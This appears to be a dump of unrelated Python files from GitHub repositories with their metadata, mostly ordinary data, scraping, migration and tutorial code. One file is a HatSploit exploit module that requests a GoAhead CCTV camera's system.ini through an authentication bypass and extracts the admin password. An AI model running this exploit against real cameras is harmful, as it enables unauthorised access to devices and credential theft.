newlyRecoveredCases]] global_col = ['updateTime', 'totalConfirmedCases', 'totalDeaths', 'totalRecoveredCases', 'newlyConfirmedCases', 'newDeaths', 'newlyRecoveredCases'] global_df = pd.DataFrame(data=global_list, columns = global_col) global_df['updateTime']=pd.to_datetime(global_df['updateTime']) #global_df.head() # --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # # histroy df history_df = pd.DataFrame(jsonData['stats']['history']) history_df['date']=pd.to_datetime(history_df['date']) #history_df.head() # --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # # Stats df stats = pd.DataFrame(jsonData['stats']['breakdowns']) location_norm = pd.json_normalize(stats['location']) stats_df = pd.concat([location_norm, stats], axis=1).drop('location', axis=1) stats_df['updateTime'] = update_T stats_df['updateTime']=pd.to_datetime(stats_df['updateTime']) #stats_df.head() # --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # # Open database connection (local) db = pymysql.connect("host","name","password","database name" ) # prepare a cursor object using cursor() method cursor = db.cursor() # execute SQL query using execute() method. cursor.execute("SELECT VERSION()") # Fetch a single row using fetchone() method. data = cursor.fetchone() # print ("Database version : %s " % data) # disconnect from server db.close() # --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # # Insert dfs to locl mysql engine = create_engine('mysql://name:password@host:port/database') #change to connect your mysql #if you want to create a new table global_df.to_sql(name='globalView',con=engine,if_exists='replace',index=False) history_df.to_sql(name='history',con=engine,if_exists='replace',index=False) stats_df.to_sql(name='statsView',con=engine,if_exists='replace',index=False) # --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # # Open database connection (AWS) connection = pymysql.connect(host=aws_config.host, user=aws_config.user, password=aws_config.passwd) with connection: cur = connection.cursor() cur.execute("SELECT VERSION()") version = cur.fetchone() #print("Database version: {} ".format(version[0])) # Insert dfs to locl mysql engine = create_engine('mysql://{}:{}@{}:{}/{}'.format(aws_config.user,aws_config.passwd,aws_config.host,aws_config.port,aws_config.db_name)) #change to connect your mysql #if you want to create a new table global_df.to_sql(name='globalView',con=engine,if_exists='replace',index=False) history_df.to_sql(name='history',con=engine,if_exists='replace',index=False) stats_df.to_sql(name='statsView',con=engine,if_exists='replace',index=False)

[ "noreply@github.com" ]

ericstar20.noreply@github.com

c4fd4774aaf0e10c3720251b62ae4f7fd5eca3ae

437428a48278b4e9bc04e1b8acbb33199f409376

/modules/exploit/unix/cctv/goahead_password_disclosure.py

ae2a949fa5f2033187282244644b19db5808d163

[ "MIT" ]

permissive

happylaodu/HatSploit

06d18ba2590456241ba61273d9f3d662a8bb26ec

9d53f3db85ce38483c6e7d16570ac233c5dd93cf

refs/heads/main

2023-04-30T20:18:37.090185

2021-06-02T20:23:08

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#!/usr/bin/env python3 # # MIT License # # Copyright (c) 2020-2021 EntySec # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # from core.lib.module import Module from utils.http.http import HTTPClient from utils.string.string import StringTools class HatSploitModule(Module, HTTPClient, StringTools): details = { 'Name': "CCTV GoAhead Camera Password Disclosure", 'Module': "exploit/unix/cctv/goahead_password_disclosure", 'Authors': [ 'Ivan Nikolsky (enty8080)', 'Pierre Kim (pierrekim)' ], 'Description': "CCTV GoAhead Camera password disclosure exploit.", 'Comments': [ '' ], 'Platform': "unix", 'Risk': "high" } options = { 'RHOST': { 'Description': "Remote host.", 'Value': None, 'Type': "ip", 'Required': True }, 'RPORT': { 'Description': "Remote port.", 'Value': 81, 'Type': "port", 'Required': True }, 'USERNAME': { 'Description': "Default username.", 'Value': "admin", 'Type': None, 'Required': True } } def exploit(self, remote_host, remote_port, username): self.output_process("Generating payload...") payload = '/system.ini?loginuse&loginpas' self.output_process("Sending payload...") response = self.http_request( method="GET", host=remote_host, port=remote_port, path=payload ) if response is None or response.status_code != 200: self.output_error("Failed to send payload!") return gathered_data = response.text strings = self.extract_strings(gathered_data) if username in strings: username_index = strings.index(username) password = strings[username_index + 1] self.print_table("Credentials", ('Username', 'Password'), (username, password)) else: self.output_warning(f"Target vulnerable, but default username is not {username}.") def run(self): remote_host, remote_port, username = self.parse_options(self.options) self.output_process(f"Exploiting {remote_host}...") self.exploit(remote_host, remote_port, username)

[ "enty8080@gmail.com" ]

enty8080@gmail.com

e0d4813f092a2ac5c5e8a38b53dd058711758ebb

cf6e0374bede75062e9da39895ae576d07f4839c

/extract-AP-Images/extract-AP-images.py

7f422fcd27470e9b79c3e843b759dd4804357a3a

[]

no_license

gingmar/semfio-ekahau

6e74017f699e8aa895b70cf3b62ad39d4096fd4a

fa04ed243c51093e4f82b8e2f25fe02d6eeae66d

refs/heads/master

2023-07-07T16:57:43.054514

2021-08-24T01:25:56

null

0

null

UTF-8

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false

3,042

py

""" Written by Francois Verges (@VergesFrancois) This script will extract all image notes attached to an AP objects of an Ekahau project file (.esx). It will place the pictures in a new directory. Sub directories will be created for each floors. This script will also work if you have multiple pictures per AP note Currently working for Ekahau version 10.2, 10.1 & 10 project files """ import argparse import time import zipfile import json import shutil import pathlib import os def main(): """ This function will extract the images located into the AP notes and rename them using the AP Name """ parser = argparse.ArgumentParser(description='Extract images located in the AP notes and rename them using the AP name') parser.add_argument('file', metavar='esx_file', help='Ekahau project file') args = parser.parse_args() # Load & Unzip the Ekahau Project File current_filename = pathlib.PurePath(args.file).stem with zipfile.ZipFile(args.file,'r') as myzip: myzip.extractall(current_filename) # Load the notes.json file into the notes Dictionary with myzip.open('notes.json') as json_file: notes = json.load(json_file) # Load the accessPoints.json file into the accessPoints dictionary with myzip.open('accessPoints.json') as json_file: accessPoints = json.load(json_file) # Load the floorPlans.json file into the floorPlans dictionary with myzip.open('floorPlans.json') as json_file: floorPlans = json.load(json_file) # Create a new directory to place the new image in newpath = os.path.abspath(pathlib.PurePath()) + "/AP-Images" if not os.path.exists(newpath): os.makedirs(newpath) # Create one sub directory per floor under the /AP-Images directrory for floor in floorPlans['floorPlans']: sub = newpath + '/' + floor['name'] if not os.path.exists(sub): os.makedirs(sub) # Move all the AP Images on this floor into the corresponding directory for ap in accessPoints['accessPoints']: if 'location' in ap.keys() and len(ap['noteIds']) > 0: if ap['location']['floorPlanId'] == floor['id']: if 'noteIds' in ap.keys(): count = 0 for noteId in ap['noteIds']: for note in notes['notes']: if note['id'] == noteId and len(note['imageIds']) > 0: image_count = count + 1 for image in note['imageIds']: image_full_path = os.getcwd() + '/' + current_filename + '/image-' + image if len(note['imageIds']) > 1 or len(ap['noteIds']) > 1: dst = newpath + '/' + floor['name'] + '/'+ ap['name'] + '-' + str(image_count) + '.png' else: dst = newpath + '/' + floor['name'] + '/'+ ap['name'] + '.png' shutil.copy(image_full_path, dst) image_count += 1 count = image_count - 1 # Clean Up shutil.rmtree(current_filename) if __name__ == "__main__": start_time = time.time() print('** Extracting AP picture notes...') main() run_time = time.time() - start_time print("** Time to run: %s sec" % round(run_time,2))

[ "fverges@semfionetworks.com" ]

fverges@semfionetworks.com

ef567234d6477e2d147942c523b0ffd84b76b2c7

8f453ebb619acb23d2925f7ceb9b0c244e645390

/ClassifyParkinsons.py

0f2b46ca449a357c52c165eda6b0830490adb626

[]

no_license

pranithasurya/MachineLearning

5fa6927d03a29ac5ec60a0cab1096bafdc6b80fe

2d07da75335867eba1591841351c3db351d07c23

refs/heads/master

2021-01-10T05:17:50.137654

2016-01-18T05:48:16

49,853,492

0

null

UTF-8

Python

false

2,467

py

import numpy as np from sklearn import svm from sklearn.metrics import accuracy_score def loadData(): file=open("parkinsons/data") line=file.readline() result=[] while(line!=''): a=line.split() a=map(float,a) result.append(a) line=file.readline() a=np.array(result) print a return a def loadTrueClass(): file=open("parkinsons/trueclass") line=file.readline() result=[] while(line!=''): a=line.split() a=map(int,a) result.append(a) line=file.readline() a=np.array(result) return a def loadTrainingData(x): f=open("Parkinsons/random_class.%d" %x,"r") print "------------------------------------------------------------------------------" print "Parkinsons/random_class.%d"%x line=f.readline() result=[] while(line!=''): a=line.split() result.append(a) line=f.readline() a=np.array(result) a=a.astype(int) return a def classify(data, trueclass, traindata, final_set,a): X=np.vstack(data[traindata[:,1],:]) #np.savetxt("parkinsons/foo.csv",x, fmt='%0.5f',delimiter=",") b=[] b.append(traindata[:,1]) C = np.searchsorted(a, b) D = np.delete(np.arange(np.alen(a)), C) D= np.array(D) D=D.reshape(D.size,-1) true_labels = np.ravel(np.vstack(trueclass[D[:,0],0])) test_data = np.vstack(data[D[:,0],:]) #print test_data.shape #np.savetxt("parkinsons/foo.csv",test_data, fmt='%0.6s') y=np.ravel(np.vstack(traindata[:,0])) clf=svm.SVC(kernel='linear') clf.fit(X,y) labels=clf.predict(test_data) #predicting true labels for the remaining rows predicted_labels = labels.reshape(labels.size,-1) np.savetxt("parkinsons/foo%d.csv"%final_set, np.concatenate((test_data, predicted_labels,np.vstack(trueclass[D[:,0],0])), axis=1),fmt='%0.5f',delimiter=",") print true_labels print labels misclassify_rate = 1-accuracy_score(true_labels,labels) print "Misclassification rate = %f" %misclassify_rate return misclassify_rate data = loadData() #loading original data trueclass = loadTrueClass() #loading true labels error=0 for i in range(0,10,1): #looping through 10 training data sets traindata=loadTrainingData(i) #loading each training file a=[] for j in range(0,195,1): a.append(j) misclassify_rate=classify(data, trueclass, traindata,i,a) #classification based on each training set. Also the parameter passing is call by value here error = error+misclassify_rate print error error = error/10 #average of error across 10 training sets print "Average Error= %0.3f" %error

[ "pranitha.andalam@gmail.com" ]

pranitha.andalam@gmail.com

ec20e0f130c9b07be9f40df8385ecc71d1678676

1b3fc35ada474601a76de3c2908524336d6ca420

/day07/作业/tencent/tencent/settings.py

d96bd9dfc78cc95ce6fafa6d33a2745ee7a9c4af

[]

no_license

dqsdatalabs/Internet-worm

db3677e65d11542887adcde7719b7652757a3e32

62f38f58b4fa7643c482077f5ae18fff6fd81915

refs/heads/master

2022-01-16T14:29:52.184528

2018-12-25T08:46:08

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# -*- coding: utf-8 -*- # Scrapy settings for tencent project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://doc.scrapy.org/en/latest/topics/settings.html # https://doc.scrapy.org/en/latest/topics/downloader-middleware.html # https://doc.scrapy.org/en/latest/topics/spider-middleware.html BOT_NAME = 'tencent' SPIDER_MODULES = ['tencent.spiders'] NEWSPIDER_MODULE = 'tencent.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'tencent (+http://www.yourdomain.com)' # Obey robots.txt rules ROBOTSTXT_OBEY = False # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See https://doc.scrapy.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs #DOWNLOAD_DELAY = 3 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: #DEFAULT_REQUEST_HEADERS = { # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Language': 'en', #} # Enable or disable spider middlewares # See https://doc.scrapy.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'tencent.middlewares.TencentSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See https://doc.scrapy.org/en/latest/topics/downloader-middleware.html #DOWNLOADER_MIDDLEWARES = { # 'tencent.middlewares.TencentDownloaderMiddleware': 543, #} # Enable or disable extensions # See https://doc.scrapy.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See https://doc.scrapy.org/en/latest/topics/item-pipeline.html ITEM_PIPELINES = { 'tencent.pipelines.TencentPipeline': 300, } # Enable and configure the AutoThrottle extension (disabled by default) # See https://doc.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See https://doc.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'

[ "aaa1058169464@126.com" ]

aaa1058169464@126.com

b2625f2e12494973dd673cb354d1c0ce6a6f5a40

9ffc948ff6633a1876883b97f3b2ce12e733e094

/Programs/catnames.py

c384d4079a5d7d8d65d696da554445d95ca9ad64

[]

no_license

SrinuBalireddy/Python_Snippets

b529c4b93e774970a7e5a7961fdca89cc4732b46

f032887b1c7ec261aa70adf03bcf0a43acef75ad

refs/heads/master

2022-12-18T17:37:36.488430

2020-09-08T09:59:36

274,892,003

0

null

UTF-8

Python

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py

# Write your code here :-) catnames = [] while True: print('Enter you cat name') name = input() if name == '': break catnames = catnames+[name] print('Your cat names are') for names in catnames: print(' '+names)

[ "srinuuipath@gmail.com" ]

srinuuipath@gmail.com

554e52f3092452144023bde3ebfbf39ccb24dc5c

773869c5d8c85c56027bc453ad2cb3cd0fd8d46a

/pie chart.py

e7d14d2d8262b1b467d4db21051dff1292ffbcc4

[]

no_license

saikiran335/python-projects

c8ac60f3977f5cc693b4c373a06b6b325edd8ffa

bb1409c427fd99f2c180fc24bc76d401717aee78

refs/heads/master

2023-05-01T17:10:15.851278

2021-05-25T10:23:06

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import matplotlib.pyplot as plt slices=[5,2,7,8] activities=['sleeping','eating','walking','talking'] cols=['r','b','g','c'] plt.pie(slices, labels=activities, colors=cols, startangle=90, shadow=True, explode=[0,0.1,0.2,0.3], autopct='%1.1f%%') plt.title('pie chart') plt.show()

[ "saisaikiran335@gmail.com" ]

saisaikiran335@gmail.com

94dabe5bc97142793e56abc7a975599c561890d5

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/cmsplugin_configurableproduct/migrations/0007_auto__del_field_cproducttypesplugin_template__add_field_cproducttypesp.py

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[ "BSD-2-Clause" ]

permissive

ZibMedia/cmsplugin-configurableproduct

2d4ff3b4f09210a6d448251b9bdec01d0214b344

65269b3ce697ac78ddff14168eed9b6883eb98f0

refs/heads/master

2021-01-24T01:28:47.826763

2013-05-28T11:17:22

null

0

null

UTF-8

Python

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12,090

py

# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Deleting field 'CProductTypesPlugin.template' db.delete_column('cmsplugin_cproducttypesplugin', 'template') # Adding field 'CProductTypesPlugin.container_template' db.add_column('cmsplugin_cproducttypesplugin', 'container_template', self.gf('django.db.models.fields.CharField')(default=('Default', 'cmsplugin_configurableproduct/product-types/containers/default.html'), max_length=256, null=True, blank=True), keep_default=False) # Adding field 'CProductTypesPlugin.item_template' db.add_column('cmsplugin_cproducttypesplugin', 'item_template', self.gf('django.db.models.fields.CharField')(max_length=256, null=True, blank=True), keep_default=False) # Deleting field 'CProductsPlugin.template' db.delete_column('cmsplugin_cproductsplugin', 'template') # Adding field 'CProductsPlugin.container_template' db.add_column('cmsplugin_cproductsplugin', 'container_template', self.gf('django.db.models.fields.CharField')(default=('Default', 'cmsplugin_configurableproduct/product-list/containers/default.html'), max_length=256, null=True, blank=True), keep_default=False) # Adding field 'CProductsPlugin.item_template' db.add_column('cmsplugin_cproductsplugin', 'item_template', self.gf('django.db.models.fields.CharField')(max_length=256, null=True, blank=True), keep_default=False) def backwards(self, orm): # Adding field 'CProductTypesPlugin.template' db.add_column('cmsplugin_cproducttypesplugin', 'template', self.gf('django.db.models.fields.CharField')(max_length=256, null=True, blank=True), keep_default=False) # Deleting field 'CProductTypesPlugin.container_template' db.delete_column('cmsplugin_cproducttypesplugin', 'container_template') # Deleting field 'CProductTypesPlugin.item_template' db.delete_column('cmsplugin_cproducttypesplugin', 'item_template') # Adding field 'CProductsPlugin.template' db.add_column('cmsplugin_cproductsplugin', 'template', self.gf('django.db.models.fields.CharField')(max_length=256, null=True, blank=True), keep_default=False) # Deleting field 'CProductsPlugin.container_template' db.delete_column('cmsplugin_cproductsplugin', 'container_template') # Deleting field 'CProductsPlugin.item_template' db.delete_column('cmsplugin_cproductsplugin', 'item_template') models = { 'cms.cmsplugin': { 'Meta': {'object_name': 'CMSPlugin'}, 'creation_date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'language': ('django.db.models.fields.CharField', [], {'max_length': '15', 'db_index': 'True'}), 'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.CMSPlugin']", 'null': 'True', 'blank': 'True'}), 'placeholder': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Placeholder']", 'null': 'True'}), 'plugin_type': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}), 'position': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True', 'blank': 'True'}), 'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}) }, 'cms.placeholder': { 'Meta': {'object_name': 'Placeholder'}, 'default_width': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'slot': ('django.db.models.fields.CharField', [], {'max_length': '50', 'db_index': 'True'}) }, 'cmsplugin_configurableproduct.cproductsplugin': { 'Meta': {'object_name': 'CProductsPlugin', 'db_table': "'cmsplugin_cproductsplugin'", '_ormbases': ['cms.CMSPlugin']}, 'categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['configurableproduct.ProductType']", 'symmetrical': 'False'}), 'cmsplugin_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['cms.CMSPlugin']", 'unique': 'True', 'primary_key': 'True'}), 'container_template': ('django.db.models.fields.CharField', [], {'default': "('Default', 'cmsplugin_configurableproduct/product-list/containers/default.html')", 'max_length': '256', 'null': 'True', 'blank': 'True'}), 'filter_action': ('django.db.models.fields.CharField', [], {'max_length': '32', 'null': 'True', 'blank': 'True'}), 'filter_product_attributes': ('django.db.models.fields.CharField', [], {'max_length': '256', 'null': 'True', 'blank': 'True'}), 'hide_empty_categories': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'item_template': ('django.db.models.fields.CharField', [], {'max_length': '256', 'null': 'True', 'blank': 'True'}) }, 'cmsplugin_configurableproduct.cproducttypesplugin': { 'Meta': {'object_name': 'CProductTypesPlugin', 'db_table': "'cmsplugin_cproducttypesplugin'", '_ormbases': ['cms.CMSPlugin']}, 'categories': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['configurableproduct.ProductType']", 'null': 'True', 'blank': 'True'}), 'cmsplugin_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['cms.CMSPlugin']", 'unique': 'True', 'primary_key': 'True'}), 'container_template': ('django.db.models.fields.CharField', [], {'default': "('Default', 'cmsplugin_configurableproduct/product-types/containers/default.html')", 'max_length': '256', 'null': 'True', 'blank': 'True'}), 'hide_empty_categories': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'item_template': ('django.db.models.fields.CharField', [], {'max_length': '256', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'default': "'Categories'", 'max_length': '128', 'null': 'True', 'blank': 'True'}) }, 'cmsplugin_configurableproduct.producttypeicon': { 'Meta': {'unique_together': "(('product_type', 'name'),)", 'object_name': 'ProductTypeIcon'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'default': "'small'", 'max_length': '128'}), 'product_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'icons'", 'to': "orm['configurableproduct.ProductType']"}) }, 'configurableproduct.productbooleanfield': { 'Meta': {'object_name': 'ProductBooleanField'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'configurableproduct.productcharfield': { 'Meta': {'object_name': 'ProductCharField'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'configurableproduct.productfloatfield': { 'Meta': {'object_name': 'ProductFloatField'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'configurableproduct.productimagefield': { 'Meta': {'object_name': 'ProductImageField'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'configurableproduct.producttype': { 'Meta': {'object_name': 'ProductType'}, 'boolean_fields': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['configurableproduct.ProductBooleanField']", 'null': 'True', 'through': "orm['configurableproduct.TypeBoolean']", 'blank': 'True'}), 'char_fields': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['configurableproduct.ProductCharField']", 'null': 'True', 'through': "orm['configurableproduct.TypeChar']", 'blank': 'True'}), 'float_fields': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['configurableproduct.ProductFloatField']", 'null': 'True', 'through': "orm['configurableproduct.TypeFloat']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image_fields': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['configurableproduct.ProductImageField']", 'null': 'True', 'through': "orm['configurableproduct.TypeImage']", 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '200'}) }, 'configurableproduct.typeboolean': { 'Meta': {'ordering': "['order']", 'object_name': 'TypeBoolean'}, 'field': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductBooleanField']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductType']"}) }, 'configurableproduct.typechar': { 'Meta': {'ordering': "['order']", 'object_name': 'TypeChar'}, 'field': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductCharField']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductType']"}) }, 'configurableproduct.typefloat': { 'Meta': {'ordering': "['order']", 'object_name': 'TypeFloat'}, 'field': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductFloatField']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductType']"}) }, 'configurableproduct.typeimage': { 'Meta': {'ordering': "['order']", 'object_name': 'TypeImage'}, 'field': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductImageField']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['configurableproduct.ProductType']"}) } } complete_apps = ['cmsplugin_configurableproduct']

[ "zeno.jiricek@urpages.net" ]

zeno.jiricek@urpages.net

7849b2b7c4842ebe127760a458ab217b97e6dfe3

1f6a162de77fca1d74af3f341ec815825c15f54c

/strings.py

0ded33a6a410dd31407cdbdaee0c8749509fe68d

[]

no_license

nickdevp/pysamp

8b96f93ad15b7caa080f4790b240a68476ff7461

22fdf234878bf62400cb7604ab582cf9c46a491f

refs/heads/master

2021-01-13T01:31:27.335085

2015-06-28T21:12:43

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py

from __future__ import print_function # == REPLACEMENT == # NOTE: case insensitive replacement requires 're' module text = "Hello World World" print(text) # "Hello World World" print(text.replace("World", "Nick")) # "Hello Nick Nick" print(text.replace("World", "Nick", 1)) # "Hello Nick World" print(text) # "Hello World World" # == SLICING == # SYNTAX: text[start:end:step] # 'end' and 'step' are optional # text[start] = char at position 'start' # text[start:] = substring from 'start' to end of 'text' # text[start:end] = substring from 'start' to before 'end' text = "Nick rocks" # 0 is before 'N' # 1 is before 'i' and after 'N' # 2 is before 'c' and after 'i' # -1 is before 's' print(text[0:4]) # "Nick" print(text[-5:]) # "rocks" print(text[-5:-3]) # "ro"

[ "nickdevp@outlook.com" ]

nickdevp@outlook.com

52009571a059032b36dab76217410a7d0c185d26

cd5c8ac975b9a78d020815d05be60bfebd263329

/9/9.7.py

3a074c179819850b02122551742fe6a5edaabba2

[]

no_license

ttlttl/PythonCookBook-study

10dbc72398d62de4e0c625eb3b61c7e084792f2f

7c8a496874f34fb9efc57335644d2cd67839144d

refs/heads/master

2021-01-21T04:59:50.554195

2016-06-15T14:37:59

48,616,583

0

null

UTF-8

Python

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1,235

py

#!/usr/bin/env python # -*- coding: utf-8 -*- """ 利用装饰器对函数参数强制执行类型检查。 inspect.signature()函数允许我们从一个可调用对象中提取出参数签名信息。 """ from inspect import signature from functools import wraps def typeassert(*ty_args, **ty_kwargs): def decorate(func): if not __debug__: return func sig = signature(func) #Map function argument names to supplied types bound_types = sig.bind_partial(*ty_args, **ty_kwargs).arguments @wraps(func) def wrapper(*args, **kwargs): bound_values = sig.bind(*args, **kwargs) for name, value in bound_values.arguments.items(): if name in bound_types: if not isinstance(value, bound_types[name]): raise TypeError( 'Argument {} must be {}'.format(name, bound_types[name]) ) return func(*args, **kwargs) return wrapper return decorate if __name__ == '__main__': @typeassert(int, z=int) def spam(x, y, z=42): print(x, y, z) spam(1, 2, 3) spam(1, 'hello', 3) spam(1,'hello', 'world')

[ "wangmingape@gmail.com" ]

wangmingape@gmail.com

1f0bb8225ed57a6b8199fb94bf797a376b9c23ea

8201e0e2ab1c528e6b445f12c19c4f39f14ab8da

/08-16/formatting.py

2e0aa9f20eceefb5db017adea2c62694ea7428dd

[]

no_license

ucsb-cs8-m18/code-from-class

c8d1d3af8f35e29edd8d9b66694662219e956029

5658ac2dca3a29e948e14456e6adbea222bce209

refs/heads/master

2020-03-25T16:02:55.666072

2018-09-12T18:03:17

143,912,380

2

1

null

UTF-8

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false

1,044

py

month = 8 day = 16 year = 2018 # separate things between commas with the empty string print(month, "/", day, "/", year, sep="") print(str(month) + "/" + str(day) + "/" + str(year)) print(month, day, year, sep="/") # "...{}..." is a format string print("{0}/{1}/{2}".format(month, day, year)) print("{1}/{0}/{2}".format(month, day, year)) print("{2}/{0}/{1}".format(month, day, year)) # this is the same as print("{0}/{1}/{2}".format(month, day, year)) print("{}/{}/{}".format(month, day, year)) # let's make a times table now # the :5 part sets the width of the thing you're printing # to be 5 spaces wide print("{0:5}".format(42)) for i in range(1, 6): print("{} {} {} {} {}".format(i*1, i*2, i*3, i*4, i*5)) for i in range(1, 6): print("{:2} {:2} {:2} {:2} {:2}".format(i*1, i*2, i*3, i*4, i*5)) # apparently the < left aligns things for i in range(1, 6): print("{:<2} {:<2} {:<2} {:<2} {:<2}".format(i*1, i*2, i*3, i*4, i*5)) # end is usually set to "\n", which is a new line print(42, end="") print(" hi", end="")

[ "lawtonnichols@gmail.com" ]

lawtonnichols@gmail.com

491d28bb4be3205a28e15b1faebc1cd701d2860f

80d5031342288c188dc7a73bbe07c4770c5b8a6f

/domain/game/ended.py

2339bea3b00d1919cd2d75c7fb01cf04c305d3c4

[]

no_license

theodormanolescu/hero

19b2d6b897e88400ebdb93b07514255d925d5257

a05226437c1430c698c54c4b54ccb99fcc57309e

refs/heads/master

2023-06-04T04:35:13.273992

2021-06-22T19:17:27

379,178,634

0

null

UTF-8

Python

false

264

py

from application.event_interface import EventInterface class Ended(EventInterface): def __init__(self, fights: int, rounds: int): self.fights: int = fights self.rounds: int = rounds def get_name(self) -> str: return 'game_ended'

[ "thedor.manolescu@emag.ro" ]

